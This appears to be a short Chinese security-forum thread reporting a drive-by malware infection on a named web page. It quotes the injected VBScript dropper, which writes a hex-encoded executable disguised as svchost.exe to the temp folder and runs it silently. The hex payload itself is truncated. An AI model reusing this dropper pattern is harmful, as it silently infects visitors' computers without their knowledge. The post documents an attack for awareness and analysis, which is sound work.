blackfinit.com/merch.html （VBS 挂马 by LZ&dyy）

fireold

h ttp://www.blackfinit.com/merch.html

dayangyang

VBS哦。。不常见呢
首先会下载VBSDropperRemover.jar
然后呢通过这个再下载其他马马。。。

dayangyang

补个代码

1. <SCRIPT language="VBScript"><! --
   
2. DropFileName = "svchost.exe"
   
3. WriteData = "4D5A90000300000004000000FFFF0000B8000000 。。。。省略无数“
   
4. Set FSO = CreateObject("Scripting.FileSystemObject")
   
5. DropPath = FSO.GetSpecialFolder(2) & "" & DropFileName
   
6. If FSO.FileExists(DropPath)=False Then
   
7. Set FileObj = FSO.CreateTextFile(DropPath, True)
   
8. For i = 1 To Len(WriteData) Step 2
   
9. FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
   
10. Next
    
11. FileObj.Close
    
12. End If
    
13. Set WSHshell = CreateObject("WScript.Shell")
    
14. WSHshell.Run DropPath, 0
    
15. //--></SCRIPT>

复制代码